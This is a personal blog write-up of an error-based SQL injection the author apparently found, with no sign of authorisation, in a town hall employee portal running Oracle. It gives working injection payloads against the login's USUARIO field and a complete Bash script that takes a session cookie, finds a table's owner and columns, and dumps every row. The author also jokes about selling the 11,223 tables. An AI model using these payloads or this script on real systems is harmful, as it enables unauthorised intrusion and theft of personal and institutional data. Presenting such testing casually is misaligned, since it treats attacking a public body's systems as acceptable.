T0wn H4ll :(

Hello there my friends! My name is Dot. And I am here, to tell you, how I discovered a SQL Injection, on one of the employee portals on the website of my town hall.

I set myself this goal, in order to show both to my family and to the people. That it is not necessary to have any degree, or career, to show that you know. That there are people, without any "official" study or any degree, who also know. And that they can be the same, or better, than people who have a career or a degree.

So without further ado, I opened Burp Suite and started sending all requests to the Repeater. A tip I give you, is to send all requests to the Repeater, even if they seem harmless, because sometimes in the responses you gain information that normally, we could not see it.

As it happened to me. At first, when in the login, I tried a user with a single quote, I got a 302. But, however, when I did the same request in the Repeater, in the response of the 302, we can see a pretty juicy error.

With a simple search of the error to our friend Google, we can see that the DBMS is Oracle. Great, my first SQL Injection in Oracle. The first thing I did was to look for information about Oracle's structure. And I found that with Oracle, we can only access a database by connection, this means, we connect with a user to a database, and we can't change the database, unless we start a new connection. So we can only enumerate the tables of the database we are in.

The next thing I did, was to find out how many columns are in the query. So let's start:

Order by 2:

Order by 3:

Mmmm it has two columns, cool. The next thing I did was to Google if there was an information_schema.tables style table like in MySQL in order to enumerate the tables. And I saw that there are two ways to do this. With the DBA_TABLES table (we need permissions to access this table). Or with the all_users table (with this table, we list all the tables to which our user has access).

Both tables have two columns, which are of interest to us as an attacker: owner and table_name

So I tried a quick query to see if it worked and....

Mmmm no output in 302? Let's follow the 302 to see if we see the output reflected somewhere on the page.

Either. So I thought that since it does show the errors, we can make a Error Based SQL Injection.

After trying several payloads to generate an error and see the output, without success:

SELECT CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1)) FROM dual

SELECT ordsys.ord_dicom.getmappingxpath((select banner from v$version where rownum=1),user,user) FROM dual

SELECT to_char(dbms_xmlgen.getxml('select "'||(select user from sys.dual)||'" FROM sys.dual')) FROM dual

SELECT rtrim(extract(xmlagg(xmlelement("s", username || ',')),'/s').getstringval(),',') FROM all_users
Error Based Payloads that didn't work for me

Thanks to a friend of mine (@Jusepe_it), I got a payload that worked:

SELECT utl_inaddr.get_host_name((select banner from v$version where rownum=1)) FROM dual
Error Based Payload that worked

Bingo! We are user <redacted>. Another thing I discovered reading about Oracle, is that we always have to call a table in a query. For example, in MySQL we do select user(). While in Oracle we have to do select user from dual. Dual is a default table in Oracle, which is has one column, called Dummy, precisely for these cases.

I also want to explain another problem I encountered, and it is the following:

If we try to list users. We see that as it usually happens in MySQL, if it returns more than one row at a time, it gives a similar error, this can be solved with Limit 0,1. But in Oracle, this does not exist. After some time searching in Google, in a forum, I saw that they did the following:

SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=1

This assigns a number starting from 1 up to the number of columns there are. In this way, we can iterate over the columns thanks to the value of r

In this way, if we want to enumerate the users, we would simply have to increase the value of r by one, until we get an "Invalid number" error.

Also, I discovered that if we want to retrieve information from a table. We have to specify its owner in the following way: owner.table, this is similar to database.table in MySQL.

So if I were an attacker, the next thing I would do is list all the tables, along with their respective owners. To do this in one, I wanted to concatenate the owner along with the table name. But of course, in Oracle the concat function does not work in the same way. So after searching on the Internet. I came to the following conclusion. We can concatenate as follows:

table_1||':'||tabla_2

So the query would look like this:

' AND 1=UTL_INADDR.GET_HOST_ADDRESS((SELECT table_name||':'||owner FROM (SELECT DISTINCT ROWNUM r, owner,table_name FROM all_tables ORDER BY table_name) WHERE r=1))--

So I wanted to find out how many tables there are, and the result...

r=11223
r=11224

As we can see, there are 11223 tables. At 100 euros per table... That's 1,122,300 euros. I give a discount to the first 3 buyers, DM me. Just kidding, please don't arrest me.

Well, let's move on. Let's imagine that now we want to retrieve the data from a specific table. Well, we would do it in the following way:

' AND 1=UTL_INADDR.GET_HOST_ADDRESS((SELECT Column1||':'||Column2||':'||ColumnN FROM (SELECT DISTINCT ROWNUM r, Column1,Column2,ColumnN FROM OWNER.TABLE_NAME) WHERE r=1))--

Obviously, I'm not going to upload any pictures of this, as I would be doing something illegal.

Bash

As you know, I always want more and more, and I am not satisfied with that. So, what I did was a script in Bash, to automate the whole process, and just indicating the table we want to dump, it will get the owner, the columns that form the table, and start dump it.

The script. It is as follows (For privacy and precaution, I have replaced the URL with the word URL):

#!/bin/bash


function get_cookies(){

cookie=$(curl -s -k -i https://URL -H "User-Agent: re" -d"entidad=001&destino=portal&nueva_sesion=1&debug=0&tipofich=&entrado_wcronos=1" | grep -oiE 'phpsessid=(.*?);' | tr -d ";" | awk -NF "=" '{print $2}')

echo "Cookie: $cookie"

duenio
}


function duenio(){

read -p "Tabla: " tabla

tabla=$(echo "$tabla" | tr 'a-z' 'A-Z')

var_duenio=$(curl -s -k -X POST -H 'User-Agent: re'-H $'Content-Type: application/x-www-form-urlencoded' -H $'Connection: close' -b "PHPSESSID=$cookie" --data-binary "fakeusernameremembered=&fakepasswordremembered=&USUARIO=\' AND 1=UTL_INADDR.GET_HOST_ADDRESS((SELECT owner||':'||table_name FROM (SELECT DISTINCT ROWNUM r, owner,table_name FROM all_tables where table_name='$(echo "$tabla")' ORDER BY owner) WHERE r=1))--&CONTRASENA=1&codigo_captcha=6133&Id_Cli=0&BD=ORA" https://URL/validar2.php | grep -oP 'host (.*?) unknown' | sed -e 's/host\(.*\)unknown/\1/' | awk -NF ":" '{print $1}' | tr -d " ")

echo "Owner: $var_duenio"

columnas

}


function columnas(){

columnas=()

for columna in $(echo {1..500}); do

var=$(curl -s -k -X POST -H 'User-Agent: re'-H $'Content-Type: application/x-www-form-urlencoded' -H $'Connection: close' -b "PHPSESSID=$cookie" --data-binary "fakeusernameremembered=&fakepasswordremembered=&USUARIO=\' AND 1=UTL_INADDR.GET_HOST_ADDRESS((SELECT column_name FROM (SELECT ROWNUM r, column_name FROM all_tab_columns where table_name='$tabla' ORDER BY column_name) WHERE r=$columna))--&CONTRASENA=1&codigo_captcha=6133&Id_Cli=0&BD=ORA" https://URL/validar2.php)

if [[ $(echo "$var" | grep -ci "invalid number") = "1" ]]; then
	echo -e "Finished retrieveing columns\n"
	dump
	break

else
	valor=$(echo "$var" | tr -d "\n" | grep -oP 'host (.*?) unknown' | sed -e 's/host\(.*\)unknown/\1/' | tr -d " ")
	columnas=("${columnas[@]}" $valor)

	if  [ $(echo -n "${columnas[@]}" | grep -oi "$valor" | wc -l) = 1 ];then
		echo "Columna --> $valor"

	else

		 for i in "${!columnas[@]}"; do
		    if [[ ${columnas[$i]} = $valor ]]; then
			unset 'columnas[$i]'
		    fi
		  done
		columnas=($valor "${columnas[@]}")
		echo -e "Finished retrieveing columns\n"
		dump
		break
	fi

fi
done
}



function dump(){

cont_dump=1
cont_end=0

for n_dump in $(echo {1..100000});do

var_dump=$(curl -s -k -X POST -H 'User-Agent: re' -H 'Content-Type: application/x-www-form-urlencoded' -H $'Connection: close' -b "PHPSESSID=$cookie" --data-binary $"fakeusernameremembered=&fakepasswordremembered=&USUARIO=' AND 1=UTL_INADDR.GET_HOST_ADDRESS((SELECT null$(for var_columna in "${columnas[@]}";do echo -n  "||';'||'$var_columna: '||$var_columna"; done) FROM (SELECT ROWNUM r$(for var_columna2 in "${columnas[@]}";do echo -n ",$var_columna2"; done) FROM $var_duenio.$tabla) WHERE r=$n_dump))--&CONTRASENA=1&codigo_captcha=6133&Id_Cli=0&BD=ORA" https://URL/validar2.php)

if [[ $(echo "$var_dump" | grep -ci "invalid number") = 1 ]]; then

	let cont_end=$cont_end+1
	if [ $(echo "$cont_end") == 5  ]  ;then

		if [ $(echo "$cont_dump" == 1) ]; then
	        	echo "Tabla vacia :("
			break
		else
		echo "Finished retrieving data"
	        break
		fi
	fi
else
        valor_dump=$(echo "$var_dump" | tr -d "\n" | grep -oP 'host (.*?) unknown' | sed -e 's/host\(.*\)unknown/\1/')
        echo -e "Info $cont_dump: --> $valor_dump\n----------------------------------------------------------------"
	let cont_dump=$cont_dump+1
fi

done
}


get_cookies

Here is a demo, which obviously, you can't see any data, but trust me, it works perfectly :)

At the end it looks like the bedrock stone of Minecraft... but it is not

Bedrock

Final words

For those of you who think god how easy. It is not easy at all, it has been my first time against Oracle, and I have spent a lot of time searching and reading information about its structure, syntax, and payloads.

Well, that's all for today, if you have any question you can ask me here. I hope this post have served as food for your brains, see you in the next. Fire it up, baby.